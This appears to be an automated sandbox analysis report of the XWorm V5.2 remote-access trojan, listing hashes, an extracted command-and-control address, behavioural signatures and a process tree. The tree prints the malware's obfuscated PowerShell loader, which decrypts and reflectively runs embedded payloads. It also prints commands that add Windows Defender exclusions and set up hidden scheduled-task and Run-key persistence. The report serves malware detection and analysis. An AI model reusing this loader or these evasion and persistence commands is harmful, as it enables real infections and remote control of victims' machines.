Analysis
-
max time kernel
64s -
max time network
66s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
05-09-2024 00:10
Static task
static1
Behavioral task
behavioral1
Sample
XWorm V5.2.exe
Resource
win7-20240704-en
General
-
Target
XWorm V5.2.exe
-
Size
18.2MB
-
MD5
bdc4539e8060d4db24a69db716a1cec0
-
SHA1
71c2485bf1684e73f16a213568efcaa2cb88ce6f
-
SHA256
c39cc9aaa0311fd1f6d981e995b608b0d36e464aea09896bd17b41bbd3fc1fe6
-
SHA512
b2411923cf5c2e4f96682f73234c409eca38b1712413ec946b1d652a4ddc266376eebe02fd6878dc3fc379eff1307f09407bc06db576c462ded08a839087eb4f
-
SSDEEP
393216:s+gzSUAx9phaAUnQeGUPG/uVeZ/K2B1CkcDUDLHK18as0mcvow+Ax:1CwUAQQLIG/5//CFU/qO0T
Malware Config
Extracted
xworm
uk1.localto.net:3725
-
Install_directory
%ProgramData%
-
install_file
svchost.exe
Signatures
-
Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/1512-171-0x000002A110410000-0x000002A110426000-memory.dmp family_xworm -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
svchost.exedescription pid process target process PID 3124 created 5096 3124 svchost.exe XWorm V5.2.exe -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 30 1512 powershell.exe 40 1512 powershell.exe 42 1512 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4360 powershell.exe 316 powershell.exe 2240 powershell.exe 4364 powershell.exe 3884 powershell.exe 1720 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
XWorm V5.2.exeWScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation XWorm V5.2.exe Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe -
Deletes itself 1 IoCs
Processes:
powershell.exepid process 1512 powershell.exe -
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk powershell.exe -
Executes dropped EXE 2 IoCs
Processes:
XWorm V5.2.exesvchost.exepid process 5096 XWorm V5.2.exe 1720 svchost.exe -
Loads dropped DLL 1 IoCs
Processes:
XWorm V5.2.exepid process 5096 XWorm V5.2.exe -
Obfuscated with Agile.Net obfuscator 3 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
Processes:
resource yara_rule behavioral2/memory/2412-42-0x000001CB4ADB0000-0x000001CB4BA2E000-memory.dmp agile_net C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe agile_net behavioral2/memory/5096-182-0x000001B752D50000-0x000001B753988000-memory.dmp agile_net -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\ProgramData\\svchost.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 29 ip-api.com -
Drops file in System32 directory 9 IoCs
Processes:
svchost.exesvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\svchost svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies data under HKEY_USERS 1 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe -
Modifies registry class 8 IoCs
Processes:
svchost.exepowershell.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PTT = "133699686782854814" svchost.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PCT = "133670809812906216" svchost.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exesvchost.exepowershell.exepowershell.exepowershell.exepid process 4360 powershell.exe 4360 powershell.exe 2412 powershell.exe 2412 powershell.exe 1720 powershell.exe 1720 powershell.exe 1720 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 316 powershell.exe 316 powershell.exe 316 powershell.exe 3124 svchost.exe 3124 svchost.exe 2240 powershell.exe 2240 powershell.exe 2240 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 1512 powershell.exe 4364 powershell.exe 4364 powershell.exe 4364 powershell.exe 3884 powershell.exe 3884 powershell.exe 3884 powershell.exe 1512 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3452 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4360 powershell.exe Token: SeDebugPrivilege 2412 powershell.exe Token: SeDebugPrivilege 1720 powershell.exe Token: SeIncreaseQuotaPrivilege 1720 powershell.exe Token: SeSecurityPrivilege 1720 powershell.exe Token: SeTakeOwnershipPrivilege 1720 powershell.exe Token: SeLoadDriverPrivilege 1720 powershell.exe Token: SeSystemProfilePrivilege 1720 powershell.exe Token: SeSystemtimePrivilege 1720 powershell.exe Token: SeProfSingleProcessPrivilege 1720 powershell.exe Token: SeIncBasePriorityPrivilege 1720 powershell.exe Token: SeCreatePagefilePrivilege 1720 powershell.exe Token: SeBackupPrivilege 1720 powershell.exe Token: SeRestorePrivilege 1720 powershell.exe Token: SeShutdownPrivilege 1720 powershell.exe Token: SeDebugPrivilege 1720 powershell.exe Token: SeSystemEnvironmentPrivilege 1720 powershell.exe Token: SeRemoteShutdownPrivilege 1720 powershell.exe Token: SeUndockPrivilege 1720 powershell.exe Token: SeManageVolumePrivilege 1720 powershell.exe Token: 33 1720 powershell.exe Token: 34 1720 powershell.exe Token: 35 1720 powershell.exe Token: 36 1720 powershell.exe Token: SeIncreaseQuotaPrivilege 1720 powershell.exe Token: SeSecurityPrivilege 1720 powershell.exe Token: SeTakeOwnershipPrivilege 1720 powershell.exe Token: SeLoadDriverPrivilege 1720 powershell.exe Token: SeSystemProfilePrivilege 1720 powershell.exe Token: SeSystemtimePrivilege 1720 powershell.exe Token: SeProfSingleProcessPrivilege 1720 powershell.exe Token: SeIncBasePriorityPrivilege 1720 powershell.exe Token: SeCreatePagefilePrivilege 1720 powershell.exe Token: SeBackupPrivilege 1720 powershell.exe Token: SeRestorePrivilege 1720 powershell.exe Token: SeShutdownPrivilege 1720 powershell.exe Token: SeDebugPrivilege 1720 powershell.exe Token: SeSystemEnvironmentPrivilege 1720 powershell.exe Token: SeRemoteShutdownPrivilege 1720 powershell.exe Token: SeUndockPrivilege 1720 powershell.exe Token: SeManageVolumePrivilege 1720 powershell.exe Token: 33 1720 powershell.exe Token: 34 1720 powershell.exe Token: 35 1720 powershell.exe Token: 36 1720 powershell.exe Token: SeIncreaseQuotaPrivilege 1720 powershell.exe Token: SeSecurityPrivilege 1720 powershell.exe Token: SeTakeOwnershipPrivilege 1720 powershell.exe Token: SeLoadDriverPrivilege 1720 powershell.exe Token: SeSystemProfilePrivilege 1720 powershell.exe Token: SeSystemtimePrivilege 1720 powershell.exe Token: SeProfSingleProcessPrivilege 1720 powershell.exe Token: SeIncBasePriorityPrivilege 1720 powershell.exe Token: SeCreatePagefilePrivilege 1720 powershell.exe Token: SeBackupPrivilege 1720 powershell.exe Token: SeRestorePrivilege 1720 powershell.exe Token: SeShutdownPrivilege 1720 powershell.exe Token: SeDebugPrivilege 1720 powershell.exe Token: SeSystemEnvironmentPrivilege 1720 powershell.exe Token: SeRemoteShutdownPrivilege 1720 powershell.exe Token: SeUndockPrivilege 1720 powershell.exe Token: SeManageVolumePrivilege 1720 powershell.exe Token: 33 1720 powershell.exe Token: 34 1720 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 1512 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
XWorm V5.2.execmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 3584 wrote to memory of 1924 3584 XWorm V5.2.exe XWorm V5.2.exe PID 3584 wrote to memory of 1924 3584 XWorm V5.2.exe XWorm V5.2.exe PID 3584 wrote to memory of 4360 3584 XWorm V5.2.exe powershell.exe PID 3584 wrote to memory of 4360 3584 XWorm V5.2.exe powershell.exe PID 3584 wrote to memory of 4692 3584 XWorm V5.2.exe cmd.exe PID 3584 wrote to memory of 4692 3584 XWorm V5.2.exe cmd.exe PID 4692 wrote to memory of 1016 4692 cmd.exe cmd.exe PID 4692 wrote to memory of 1016 4692 cmd.exe cmd.exe PID 4692 wrote to memory of 2412 4692 cmd.exe powershell.exe PID 4692 wrote to memory of 2412 4692 cmd.exe powershell.exe PID 2412 wrote to memory of 1720 2412 powershell.exe powershell.exe PID 2412 wrote to memory of 1720 2412 powershell.exe powershell.exe PID 2412 wrote to memory of 1136 2412 powershell.exe WScript.exe PID 2412 wrote to memory of 1136 2412 powershell.exe WScript.exe PID 1136 wrote to memory of 3952 1136 WScript.exe cmd.exe PID 1136 wrote to memory of 3952 1136 WScript.exe cmd.exe PID 3952 wrote to memory of 3088 3952 cmd.exe cmd.exe PID 3952 wrote to memory of 3088 3952 cmd.exe cmd.exe PID 3952 wrote to memory of 1512 3952 cmd.exe powershell.exe PID 3952 wrote to memory of 1512 3952 cmd.exe powershell.exe PID 1512 wrote to memory of 3452 1512 powershell.exe Explorer.EXE PID 1512 wrote to memory of 3348 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2952 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2556 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1960 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1420 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 776 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1364 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1556 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 4564 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 960 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2928 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1940 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 952 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1144 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1732 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2512 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1120 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1616 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1708 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1900 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2532 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1892 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 900 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1092 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1104 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1280 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 4420 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1260 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1540 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1060 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2436 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 464 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2432 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 948 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1832 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1772 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2208 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2404 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2200 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1804 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 2392 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 1600 1512 powershell.exe svchost.exe PID 1512 wrote to memory of 3568 1512 powershell.exe svchost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
PID:776 -
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding2⤵PID:4620
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:900
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:464
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:948
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1060
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1092
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1104
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1120 -
C:\ProgramData\svchost.exeC:\ProgramData\svchost.exe2⤵
- Executes dropped EXE
PID:1720
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1144
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1260
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1280
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1364
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1384
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1420
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1540
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1556
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1616
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1708
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1732
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1772
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1804
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1892
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1900
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1940
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1960
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:1600
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:1832
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2200
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2208
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2392
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2404
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2436
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2512
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2556
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2572
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2952
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2928
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3348
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3452 -
C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe"C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe"C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe"3⤵PID:1924
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.bat'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4692 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ht0j9zPSqBi69tTX5kflrnUeoIA5im8gLLZnexTvmMs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yPdScja9U8RjkyeOpTlzgQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gScxN=New-Object System.IO.MemoryStream(,$param_var); $drTXw=New-Object System.IO.MemoryStream; $JmztZ=New-Object System.IO.Compression.GZipStream($gScxN, [IO.Compression.CompressionMode]::Decompress); $JmztZ.CopyTo($drTXw); $JmztZ.Dispose(); $gScxN.Dispose(); $drTXw.Dispose(); $drTXw.ToArray();}function execute_function($param_var,$param2_var){ $BTSMq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tsXTL=$BTSMq.EntryPoint; $tsXTL.Invoke($null, $param2_var);}$sQwMN = 'C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.bat';$host.UI.RawUI.WindowTitle = $sQwMN;$CexYw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sQwMN).Split([Environment]::NewLine);foreach ($JUrKH in $CexYw) { if ($JUrKH.StartsWith('sgymnEOEMpmtiRUpGEhO')) { $hWNDm=$JUrKH.Substring(20); break; }}$payloads_var=[string[]]$hWNDm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "4⤵PID:1016
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"4⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2412 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_599_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_599.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1720
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_599.vbs"5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_599.bat" "6⤵
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ht0j9zPSqBi69tTX5kflrnUeoIA5im8gLLZnexTvmMs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yPdScja9U8RjkyeOpTlzgQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gScxN=New-Object System.IO.MemoryStream(,$param_var); $drTXw=New-Object System.IO.MemoryStream; $JmztZ=New-Object System.IO.Compression.GZipStream($gScxN, [IO.Compression.CompressionMode]::Decompress); $JmztZ.CopyTo($drTXw); $JmztZ.Dispose(); $gScxN.Dispose(); $drTXw.Dispose(); $drTXw.ToArray();}function execute_function($param_var,$param2_var){ $BTSMq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tsXTL=$BTSMq.EntryPoint; $tsXTL.Invoke($null, $param2_var);}$sQwMN = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_599.bat';$host.UI.RawUI.WindowTitle = $sQwMN;$CexYw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sQwMN).Split([Environment]::NewLine);foreach ($JUrKH in $CexYw) { if ($JUrKH.StartsWith('sgymnEOEMpmtiRUpGEhO')) { $hWNDm=$JUrKH.Substring(20); break; }}$payloads_var=[string[]]$hWNDm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "7⤵PID:3088
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"7⤵
- Blocklisted process makes network request
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
